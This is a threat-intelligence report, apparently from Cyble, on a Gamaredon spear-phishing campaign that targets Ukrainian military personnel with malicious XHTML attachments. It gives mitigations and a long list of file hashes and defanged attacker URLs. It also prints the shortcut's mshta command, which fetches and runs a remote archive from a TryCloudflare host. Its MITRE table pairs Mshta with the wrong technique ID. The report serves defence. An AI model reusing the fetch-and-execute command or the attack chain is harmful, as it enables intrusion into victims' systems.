Spear-Phishing in the Battlefield: Gamaredon’s Ongoing Assault on Ukraine’s Military
2024-9-6 16:46:24 Author: cyble.com(查看原文) 阅读量:9 收藏

Key Takeaways

  • Cyble Research and Intelligence Labs (CRIL) identified an active Gamaredon campaign targeting Ukrainian military personnel through spear-phishing emails.
  • The emails include malicious XHTML attachments, which, when opened, execute obfuscated JavaScript code that downloads a malicious archive to the victim’s system.
  • This archive contains a Windows shortcut (LNK) file that, when triggered, initiates the execution of a remote .tar archive hosted on TryCloudflare[.]com via mshta.exe.
  • The Threat Actors (TAs) leverage TryCloudflare’s one-time tunnel feature to anonymously host malicious files and access resources remotely without detection.
  • The campaign appears to be large-scale and coordinated, as indicated by the widespread distribution of similar files, and it remains ongoing based on the volume and timing of discovered samples.
  • The inclusion of a 1-pixel remote image suggests the TAs are tracking victim interactions with the malicious files, likely to monitor the campaign’s effectiveness.

Executive Summary

As the Russia-Ukraine conflict continues to evolve, we remain vigilant in monitoring emerging threats. Previously, we tracked the activities of UNC1151, which targeted Ukraine’s Ministry of Defence with a malicious Excel document designed to compromise sensitive systems. Additionally, we observed UAC-0184’s malware campaign, which deployed the XWORM RAT against Ukrainian targets, utilizing Python to facilitate DLL sideloading techniques for further infiltration.

During our investigation, we came across an ongoing campaign of Gamaredon targeting Ukraine. Gamaredon, also known as Primitive Bear or Armageddon, is a Russian-linked Advanced Persistent Threat (APT) group that has been active since at least 2013. It is known for its cyber-espionage activities, primarily targeting Ukrainian government institutions, military, and other critical infrastructure sectors.

Gamaredon has been involved in numerous high-profile campaigns, particularly during periods of heightened tension between Russia and Ukraine. Although its operations have been characterized by the use of relatively low-sophistication tools, its success is attributed to its persistence and focus on specific geopolitical targets.

In recent months, Gamaredon has intensified its efforts with a large-scale phishing campaign aimed at Ukrainian entities. This campaign involves sophisticated tactics and widespread phishing attempts, reflecting the ongoing and escalating nature of cyber threats amidst the conflict. The figure below shows the Gamaredon sample observed since the start of August 2024.

Gamaredon Sample Observed in the Wild
Figure 1 – Gamaredon Sample Observed in the Wild

Amid the ongoing Russia-Ukraine conflict, Cyble Research and Intelligence Labs (CRIL) encountered a spear-phishing campaign targeting Ukrainian military personnel. The malicious email contains an XHTML attachment that, upon opening, executes several malicious activities on the infected system. After thorough analysis, our research points to the Gamaredon APT group as the orchestrator of this attack. 

Technical Details

The campaign begins with a spear-phishing email bearing the subject “ПОВІСТКА,” which translates to “summons.” The email is themed around a military summons directed at the recipient and includes a malicious XHTML attachment, as shown in the figure below.

Gamaredon Sample Observed in the Wild
Figure 1 – Gamaredon Sample Observed in the Wild

Upon opening the XHTML file, the user is presented with a message in Ukrainian stating, “File uploaded to the ‘DOWNLOADS’ folder.” Simultaneously, a RAR compressed folder is silently dropped into the system’s Downloads directory. This action is designed to mislead the victim, making it appear as though a legitimate file has been downloaded. The figure below shows the XHTML message.

XHTML file
Figure 3 – XHTML file

The XHTML file contains obfuscated JavaScript code that executes upon the user opening the file. In the XHTML, the JavaScript is embedded within a `div` element, with the `div id` set to “jwu.” This obfuscated script consists of a Base64-encoded string mixed with a “*” character at random places to evade detection. The JavaScript execution is triggered via the “onerror” event. In some variants, it is activated through the “onmousemove” event, ensuring the malicious code runs as soon as the user interacts with the file. The figure below shows the obfuscated XHTML code.

XHTML Code
Figure 4 – XHTML Code

The de-obfuscated string within the “jwu” `div` reveals JavaScript code that contains a Base64-encoded 7zip compressed archive disguised with a .rar file extension. This script decodes the Base64 data and saves the 7zip archive to the Downloads folder as “5-2839-2024_29.08.2024.rar.” Additionally, the script retrieves a 1-pixel remote image, likely serving as a tracking mechanism to monitor the execution and interaction with the malicious file. The figure below shows the de-obfuscated JavaScript.

Deobfuscated JavaScript
Figure 5 – Deobfuscated JavaScript

The RAR file contains a Windows shortcut (LNK) file. Upon execution, the malicious LNK file triggers the execution of the remote .tar file via mshta.exe. In this campaign, the TAs leveraged the domain trycloudflare[.]com to host the malicious tar archives. By exploiting the TryCloudflare service, TAs can establish a one-time tunnel without the need for an account with Cloudflare. This tunnel enables remote access to resources and data outside the local network, functioning similarly to a VPN or secure shell (SSH) protocol, allowing the attackers to evade traditional detection mechanisms.

The Target command of the LNK file is mentioned below.

  • “C:\Windows\System32\mshta.exe hxxps://jurisdiction-xhtml-peace-surrey[.]trycloudflare.com/tcg/instruct/instructor.tar /f”

 The figure below shows the property of the LNK file.

Property of LNK File
Figure 6 – Property of LNK File

We were unable to obtain the .tar files in our research. However, according to an analysis by Cisco Talos, Gamaredon is known for downloading additional malicious files designed to steal sensitive information from the victim’s system.

Conclusion

The ongoing Gamaredon APT campaign demonstrates the group’s persistence and evolving tactics in targeting Ukrainian military personnel. By leveraging spear-phishing emails, malicious XHTML attachments, and obfuscated JavaScript, the attackers deliver harmful payloads while exploiting TryCloudflare’s one-time tunnel feature to host malicious archives. The campaign’s scale and frequency indicate a coordinated, mass phishing effort aimed at sensitive Ukrainian entities.

Recommendations

The following are the recommendations to Mitigate the Gamaredon APT Campaign.

  • Train users to recognize spear-phishing attempts, especially those with suspicious attachments or unexpected military-themed content.
  • Implement email security solutions with advanced threat protection, filtering phishing emails and malicious attachments.
  • Deploy anti-malware solutions capable of detecting and blocking obfuscated JavaScript and malicious LNK files. 
  • Monitor for unusual network activity, including connections to TryCloudflare tunnels and other unknown external resources.
  • Use application whitelisting to allow only trusted applications and scripts to run.
  • Leverage threat intelligence platforms to block known malicious domains, including those abusing TryCloudflare.

MITRE ATT&CK® Techniques

Tactic TechniqueProcedure
Initial Access (TA0001)Phishing: Spearphishing Attachment (T1566.001 )Gamaredon sends spear-phishing emails with malicious XHTML attachments targeting Ukrainian military personnel.
Execution (TA0002)User Execution: Malicious File (T1204.002)The campaign relies on users opening the XHTML attachment, which then triggers JavaScript code execution.
Execution (TA0002)Signed Binary Proxy Execution: Mshta (T1053.005)mshta.exe is used to execute a remote .tar archive file hosted on a compromised cloud service.
Defence Evasion (TA0005)Obfuscated Files or Information (T1027)The campaign uses obfuscated JavaScript hidden in the XHTML file, including random “*” characters in Base64 encoded strings to avoid detection.

Indicators Of Compromise

IndicatorIndicator TypeDescription
0c823adb18cf2583222e6fbe73c08cac8147d20b02fbe88d51cac2a1c628a30bSHA256XHTML
12bac5853724722330ce7f6b782db13844f8343ccc851fa2db1e93b980a6cf49SHA256XHTML
a4806713db9cf41ab503e046981b8c5e1a9928314bb32545bd104fab2c36b332SHA256XHTML
0fd6e081172d8576ad2f16ab6360a0086442560aa24ab1f4636a592f279c19efSHA256XHTML
66de05ae4f4f185a514ad11daac0b7f944748ffa6885a7d7a826def45d305cfeSHA256XHTML
1a6ce74fc1487537936d769243f39b265fd3911e72e7caacaa793f1fffe52296SHA256XHTML
e6d342fde640e5d5d9ef2f470d0f23ed660d7f19cc33470ec40a9f8e9b9c1561SHA256XHTML
17f66f2b3e2f9ba8c8f739876f99e2d7abc81b264f3015d3de86267f007cc49bSHA256XHTML
10cecb7a032325024b9ba7a0ea5f1a910268078317ca4ca7dae9e06779837631SHA256XHTML
83d4b0aea975acb7f80417748f179d8ef9ecbba9150b24e3354ef92e17ccf242SHA256XHTML
201ad0967246bb0a5b3f7aa85f31395e750c0237959d86b9c2d9dbf5fbb951c4SHA256XHTML
d4df2899a4569f7cb9ac5edce6b4eef8eba3031b7f96f74552734362afea18b7SHA256XHTML
95beb4bd1a94c8db58dddeb926f656003e1dca2c66d04870380445b23840b536SHA256XHTML
13f065a592246074d7d929dd4f977d247a69efa9e1dbbe3613f81d3d8f39d6f4SHA256XHTML
a1d689a0839a143e371242fb217db82e0cbdfeff4daa49e6ffe5c5b3375fae3dSHA256XHTML
4b1d8e58c866a8b12e8987559287592ee54a482328e8c03d5666a761bcf10f92SHA256XHTML
db63ca233296a239e4b8d7f28b2db776596bcb645d3958bc4b3447074d7635b9SHA256XHTML
2da9941aae860aaa2d3bb7208c900549464955733457f529014d945a24737e79SHA256XHTML
2636907826c9bc27ee4c7519979c0add5ad981e71edf7eb53002b8ab89fc8142SHA256XHTML
e18955f5a9fb6abb30fd5dcbc840d34cce9bb1c70552cc36941139fc6e7304b5SHA256XHTML
0ae813d5ea1c0114795174a48b57a90c0f719485e3c733bbd5403c77dab29298SHA256XHTML
71e02cfc2c871768b8ae5ad9af9e9cb664e0a66be3f3c8d050b6d58f3cd4c07aSHA256XHTML
ad2c0c8d14d782610ed7173a5d0b4bd13524ceb1027d070a1cda312cfd60983aSHA256XHTML
1cbd7696840ec6a3442a8bf4f7deb545bbeeee68fb27e4352197953af976cf2aSHA256XHTML
0a4bcecdee823cc3c2d4ae2d5569edca7bc8372f5d37f62083782e92732a63c8SHA256XHTML
afa7a8bb0cb0508f579b936488bbfff0142d458c26ef98904cb06e98f6b50f81SHA256XHTML
265042be55ec0082a500a24cdb5da8b289c42116e23eddcfc80dfd24019f6412SHA256XHTML
1b3db58482ad147faeda64eced7648bee08bfc78194e3f7bcb52cf1860d07a04SHA256XHTML
821ee2a91cca1e17f890e099ee41a47cc5943149a10e81467e57803d6d5b02deSHA256XHTML
0e1eb8a5f850bc7712f78adcfe6c7c29215ea620ad2c36a0795016f0299d6ea4SHA256XHTML
f9662c14db97db311d71b00ce33a41bbc4bc4ab6f05d8ccd99562e773d8948b1SHA256XHTML
c7802521935c6dc3dc81e15ac952b9782ca1743dcd9e4e11030f0957d8f2a156SHA256XHTML
56188e68f6f6bba34f6771056859f1a7232edef264fbe67e0c8b30c1ca569259SHA256XHTML
a620f9af481001e2d96a2d210f086fa144731a1b95db32addcd148e09a627374SHA256XHTML
df124b73f309e634ca7c226c5e1ae2545f45907a88a40249c8ac1d5e40eca43fSHA256XHTML
f94817a02884f73f9ed462c67581cda4fc169568f7636f01237a25da3df93d7cSHA256XHTML
5f7173cd548b227206e70419739a2f6ca4087ef693297b9b67a29fbcb4d1e928SHA256XHTML
f59715593679ff13e92e14f8f98c6ead1cbe678f3a5ac28de8085c1a7132b02cSHA256XHTML
58d6c125ccab32414f63ba62cc7ba4a2500a0d2890506069ba7e0ac166799491SHA256XHTML
51427e20fc02cb04948c2ab53378beb52727a6a84570f880aeaebd6be27f1dadSHA256XHTML
bbc97c086436385c32b0ac5f6cf35e7446f0e12e0412ed090e7099b873837795SHA256XHTML
a7d060ea2dfd98f723aff909e5c88c3d8d3d54d96e5f6e7a09aad1de8d8ef10bSHA256XHTML
cba52f16695dc3d80a98c560a7614a3f91aaea242344b423b260d06362a2c9e0SHA256XHTML
ab333d21c0fa8fe5b6cd620736fb04d7af53a6a0be604066617a1374fa7baa78SHA256XHTML
a4b912413e39b4307613c8941af258750782e77d820c172155dfaaee6b32d2dbSHA256XHTML
c863155cf6a39a376eef232737ba2922e324d8b05de36ddebe4068060b09a498SHA256XHTML
bee43c5f1a714fdef911e5dc99fe27854f5db00de859dddc09e720eb56e1c53eSHA256XHTML
ca7a5daf2528233dae5c38d929a07ef30d5ca7d349df2ce842d795311f22fa2fSHA256XHTML
770223d8c0c7d5abd4d6c0215cf9479f7a0e32a1dfaaa3b42c71dfe26ccb986fSHA256XHTML
dacb0c04579116f6245ca0ee69a5d328c3f23e5d0c5f579133070fe0f06659d1SHA256XHTML
0a06f536d08150ce6ea521a563fd321229b9e044ce993f9a667336a34d838b3fSHA256XHTML
57dd02447cf705fe570ed6b3051f3bff06e8506360ba667e02731332d04eb37cSHA256XHTML
0e0ce820f8b5deae3755ed372a0b898861a4cc7cb70cfd90197452773b078452SHA256XHTML
dbdff73a7a6e6eae23c8cd5093b3df11f39cddf86e48b651e68c329df59ee0e8SHA256XHTML
c32f28fc87f8efcd3f9c044f1898f3e712d4b4802c99df1525644ebfb3df2f2dSHA256XHTML
e867ce12e119eebe53de1acccd99fca09a9802d1432d31dafaf5d76b8a87f099SHA256XHTML
92ee588be70e23ca459627ae22f05fba11589eeaeed0f8dd153416d952bb57e0SHA256XHTML
1ab3b99af98b7d9fb13d5b6acfc1bf3f4aa2a751bea58ba060f386509ccc73d3SHA256XHTML
b8f91aae00889eda914ef72b99688e920e113fb3723607250d2a1c949effaac3SHA256XHTML
b95eea2bee2113b7b5c7af2acf6c6cbde05829fab79ba86694603d4c1f33fddaSHA256XHTML
7525cd06447204ce72e5d24eb1e96c142d72f9f8f5339d61b6151f430bda2daeSHA256XHTML
be801d78c112fae7a1cec1d20e1f2a85f28987d15c825c1773860bc7e99c5e87SHA256XHTML
de2f0a2aafacfee9d7989cdafd0617211a44d320b0fba6c488f480d92dab0891SHA256XHTML
66d30cc00a2445c5527049875e43c2c85a8995a0983502cd5e0276235bab8040SHA256XHTML
450badddfae09a3eedb613e59f9a18d69632ee28d5e59e52c6d4bae151225f87SHA256XHTML
d55a4a4596908abc5742f43e9b44b23951935feead10de52f3916ac5fd811a80SHA256XHTML
7cdf0df1284b75a7d4e945d1d6a707c65e3527ae38aea7c9d82163c019c8203cSHA256XHTML
37c7adb7a719ec99c54b86faad0a2e5164599f0b85ecbc07683b89da0355c655SHA256XHTML
efceb2cb0d0a332a630c04a8bce6f0e5dedd297ce7c0943f3783ee0749342ef3SHA256XHTML
ce040948011f0ccc9309ab2cb08c7a80bf0337415818cf916e6e2e7ed70ed49eSHA256XHTML
5938c03b725f37f68ebf950edf4fd5688900e273ee0a55c305ff4fd9995d03b1SHA256XHTML
112bd0f71522e05c21ad249a20534fb8d3306a73f5c39dd44bfb9e198a96e9f8SHA256XHTML
cbfe9331e8a1b36f8e5be68f6588a6a116dfd63b474fcac618bc75854535e699SHA256XHTML
c449c4be65021a4563da97ae4f150bed4f388236031d33e17953b7d6666381e1SHA256XHTML
6c1e4a444e40b27db722be2321eb1c69455251940b30f0e2232103015b7af3ccSHA256XHTML
11b0f2bbb811f42dd463c247401fddd9c2efb2708b9be142573597ee869da29aSHA256XHTML
7c2bbaaa90b7f66b9ccfb3136905e8d07d8c8f1542aa605844319992a39133c9SHA256XHTML
982dac7a43329d6e204e74d87d60c08e94ba3a46ccf36445b218b86f05e44a90SHA256XHTML
5a70f39a3d87469146b0a8a92086675dc15e483aa412a0a9aa5dc9809bf8f22fSHA256XHTML
663c6f08b3aedb4323e0f73cab526ddcc1f6de53ea7084712940c1cb54d75ab0SHA256XHTML
hxxps://newbie-housewives-poxxer-trailers[.]trycloudflare[.]com/zgur/preservation/selected[.]rarURLMalicious URL
hxxps://newbie-housewives-poxxer-trailers[.]trycloudflare[.]com/zgur/seeing/prayers[.]rarURLMalicious URL
hxxps://amsterdam-sheet-veteran-aka[.]trycloudflare[.]com/regular/presence[.]tarURLMalicious URL
hxxps://amsterdam-sheet-veteran-aka[.]trycloudflare[.]com/preceding/baron[.]tarURLMalicious URL
hxxps://tracked–radar-ni[.]trycloudflare[.]com/zgur/sensation/headstone[.]rarURLMalicious URL
hxxps://cod-identification-imported-carl[.]trycloudflare[.]com/f/precaution[.]rtfURLMalicious URL
hxxps://strange-hunger-appeared-res[.]trycloudflare[.]com/uss/senior/refuge[.]tarURLMalicious URL
hxxps://strange-hunger-appeared-res[.]trycloudflare[.]com/gss/quest/presents[.]tarURLMalicious URL
hxxps://nobody-principal-long-un[.]trycloudflare[.]com/pov/decide/barn[.]tarURLMalicious URL
hxxps://molecular-throw-process-dealtime[.]trycloudflare[.]com/gss/quietly/seller[.]tarURLMalicious URL
hxxps://tracked–radar-ni[.]trycloudflare[.]com/zgur/questions/preponderant[.]rarURLMalicious URL
hxxps://tracked–radar-ni[.]trycloudflare[.]com/psvr/decay/barefooted[.]rarURLMalicious URL
hxxps://newbie-housewives-poxxer-trailers[.]trycloudflare[.]com/psvr/rejoined/net[.]rarURLMalicious URL
hxxps://sunrise-massive-joseph-commodities[.]trycloudflare[.]com/zsvr/sentiment/banisters[.]rarURLMalicious URL
hxxps://wp-acm-configuration-fm[.]trycloudflare[.]com/uss/growth/days[.]tarURLMalicious URL
hxxps://nobody-principal-long-un[.]trycloudflare[.]com/pov/intake/bargain[.]tarURLMalicious URL
hxxps://strange-hunger-appeared-res[.]trycloudflare[.]com/uss/bargain/barton[.]tarURLMalicious URL
hxxps://jurisdiction-xhtml-peace-surrey[.]trycloudflare[.]com/tcul/based/guarded[.]tarURLMalicious URL
hxxps://tracked–radar-ni[.]trycloudflare[.]com/sudu/insufficient/neutral[.]rarURLMalicious URL
hxxps://tracked–radar-ni[.]trycloudflare[.]com/sudu/decide/quest[.]rarURLMalicious URL
hxxps://australian-prepared-derek-hands[.]trycloudflare[.]com/vo/nervous/bar[.]tarURLMalicious URL
hxxps://bush-worcester-houses-statements[.]trycloudflare[.]com/sudu/headlong/headache[.]rarURLMalicious URL
hxxps://expertise-sir-designs-columbus[.]trycloudflare[.]com/tu/lost/net[.]tarURLMalicious URL
hxxps://australian-prepared-derek-hands[.]trycloudflare[.]com/vomr/regards/bananas[.]tarURLMalicious URL
hxxps://australian-prepared-derek-hands[.]trycloudflare[.]com/vg/relax/quickly[.]tarURLMalicious URL
hxxps://nobody-principal-long-un[.]trycloudflare[.]com/pov/preparations/sequel[.]tarURLMalicious URL
hxxps://charter-blond-desired-promptly[.]trycloudflare[.]com/gmm/base/guarantee[.]tarURLMalicious URL
hxxps://wp-acm-configuration-fm[.]trycloudflare[.]com/uss/heap/September[.]tarURLMalicious URL
hxxps://expertise-sir-designs-columbus[.]trycloudflare[.]com/tu/grow/precaution[.]tarURLMalicious URL
hxxps://jurisdiction-xhtml-peace-surrey[.]trycloudflare[.]com/tcg/instruct/instructor[.]tarURLMalicious URL
hxxps://axxribute-homework-generator-lovers[.]trycloudflare[.]com/onp/decent2/decent[.]tarURLMalicious URL
hxxps://jurisdiction-xhtml-peace-surrey[.]trycloudflare[.]com/tcu/headphones/bananas[.]tarURLMalicious URL
hxxps://infected-gc-rhythm-yu[.]trycloudflare[.]com/ug/insurance/predicate[.]tarURLMalicious URL
hxxps://mind-apple-slightly-twiki[.]trycloudflare[.]com/ug/daytime2/daytime[.]tarURLMalicious URL
hxxps://infected-gc-rhythm-yu[.]trycloudflare[.]com/ug/quick/prediction[.]tarURLMalicious URL
hxxps://amsterdam-sheet-veteran-aka[.]trycloudflare[.]com/seeming/quay[.]tarURLMalicious URL
hxxps://longitude-powerpoint-geek-upgrade[.]trycloudflare[.]com/sg/precision2/precision[.]tarURLMalicious URL
hxxps://amsterdam-sheet-veteran-aka[.]trycloudflare[.]com/regions/headmaster[.]tarURLMalicious URL

Related


文章来源: https://cyble.com/blog/gamaredons-spear-phishing-assault-on-ukraines-military/
如有侵权请联系:admin#unsafe.sh